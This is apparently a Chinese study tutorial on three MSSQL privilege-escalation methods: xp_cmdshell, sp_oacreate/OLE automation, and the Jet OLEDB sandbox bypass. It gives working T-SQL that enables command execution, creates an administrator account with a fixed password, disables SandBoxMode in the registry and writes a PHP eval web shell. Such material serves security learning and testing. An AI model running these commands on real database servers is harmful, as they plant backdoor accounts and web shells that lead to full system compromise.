前言
MSSQL是微软公司开发的数据库,又称为sql server数据库服务器。在基于微软开发的IIS中间件服务器开发的网站,通常使用的就是MSSQL数据库。
常见的MSSQL数据库的提权方式有 xp_cmdshell提权、sp_oacrate提权、沙盒提权及JOB提权等,本文学习的是三种提权方式利用原理、利用条件以利用方法。
一、xp_cmdshell提权
1、利用原理
xp_cmdshell提权方式主要依赖于sql server自带的扩展存储过程。
存储过程是一个可编程的函数,它在数据库中创建并保存,是存储在服务器中的一组预编译过的T-SQL语句。数据库中的存储过程可以看做是对编程中面向对象方法的模拟。它允许控制数据的访问方式(可以将存储过程理解为函数调用的过程),使用execute命令执行存储过程
xp_cmdshell是扩展存储过程中的一个开放接口,可以让MSSQL调用系统命令。
SA是MSSQL数据库的管理员账户,拥有最高权限,可以执行扩展存储过程,并获得返回值。
因此,在登录SA账户后,调用xp_cmdshell扩展存储过程,通过命令执行的方式获得操作系统权限。
2、利用条件
1、具有SA用户的密码
2、xp_cmdshell未被禁用
注:
xp_cmdshell 默认在 mssql2000 中是开启的,在 mssql2005 之后的版本中则默认禁止。
如果用户拥有管理员 sa 权限则可以用 sp_configure 重新开启它。
3、实操
3.1 连接数据库
检查是否具有xp_cmdshell接口
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell';#查看系统实例中是否有xp_cmdshell存储过程;
如果返回结果中的"run_value"为1,则表示xp_cmdshell已经启用;
如果为0,则表示xp_cmdshell尚未启用。
3.2 开启服务
如果没有开启,那么通过sp_configure开启
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell',1;
reconfigure; 开启CMDshell ;关闭同理,将红色部分中的1改成0即可
3.3 执行命令
3.3.1 查看当前权限
exec master..xp_cmdshell "whoami"; 可见当前权限,正常来说是system权限
3.3.2 添加用户
exec master..xp_cmdshell 'net user lcx 123456 /add'; 添加系统用户
exec master..xp_cmdshell 'net localgroup administrators lcx /add'; 新建用户组,把新用户提升到管理员权限
exec master..xp_cmdshell "echo ^<?php eval($_POST['cmd'])?^> > D:\cmd.php" 当然也可以尝试写木马
二、sp_oacreate提权
1、利用原理
如果xp_cmdshell扩展存储过程被删除或者无法使用,可以使用sp_oacreate和sp_oamethod调用系统wscript.shell来执行系统命令。sp_oacreate和sp_oamethod是OLE(Object Linking and Embedding)存储过程的方法,因此这种提权方式又称为OLE提权。
sp_oacreate是一个非常危险的存储过程,可以删除、复制、移动文件,还能配合sp_oamethod来写文件执行cmd。sp_oacreate是系统存储过程。
2、利用条件
1、具有SA用户的密码
2、sp_oacreate、sp_oamethod未被禁用
3、实操
3.1 查看服务是否开启
exec sp_configure 'show advanced options',1;
reconfigure with override;
exec sp_configure 'ole automation procedures';
如果返回结果中的"run_value"为1,则表示已经启用;
如果为0,则表示尚未启用
3.2 开启服务
exec sp_configure 'show advanced options',1;
reconfigure with override;
exec sp_configure 'ole automation procedures',1;
reconfigure with override;
(关闭把红色加粗的1改成0,并在最后加上
exec sp_configure 'show advanced options',0;reconfigure;)
3.3 执行命令
3.3.1添加用户
添加系统用户
declare @shell INT; exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'net user lcx 123456 /add';
将新用户提升为管理员权限
declare @shell INT; exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'net localgroup administrators lcx /add';
三、沙盒提权
1、利用原理
沙盒模式是数据库的一种安全功能。在沙盒模式下,只对控件和字段属性中的安全且不含恶意代码的表达式求值。如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的。
沙盒提权的原理就是jet.oledb(修改注册表)执行系统命令。数据库通过查询方式调用mdb文件,执行参数,绕过系统本身自己的执行命令,实现mdb文件执行命令
2、利用条件
1.需要Microsoft.Jet.OLEDB.4.0一般在32位系统才可以,64位机需要12.0,较复杂
2.dnary.mdb和ias.mdb两个文件 在win2003上默认存在,也可自行准备
3、实操
因为提权方式的利用条件是32位Windows系统,因此本次实操没有实验最终结果截图。
3.1 开启Ad Hoc Distributed Queries组件
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1;
reconfigure;
3. 2 关闭沙盒模式
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
沙盒模式SandBoxMode参数含义(默认是2) 0:在任何所有者中禁止启用安全模式 1:为仅在允许范围内 2:必须在access模式下 3:完全开启
3.3 查看沙盒模式
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode';
3.4 执行命令
添加新用户
select * from openrowset('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user lcx 123456 /add")');
将新用户提升为管理员权限
select * from openrowset('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators lcx /add")');
3.5 还原环境
关闭Ad Hoc Distributed Queries组件
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',0;
reconfigure;
开启沙盒模式
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',2;
四、参考文献
第三方提权之数据库提权 - anoldcat - 博客园 (cnblogs.com)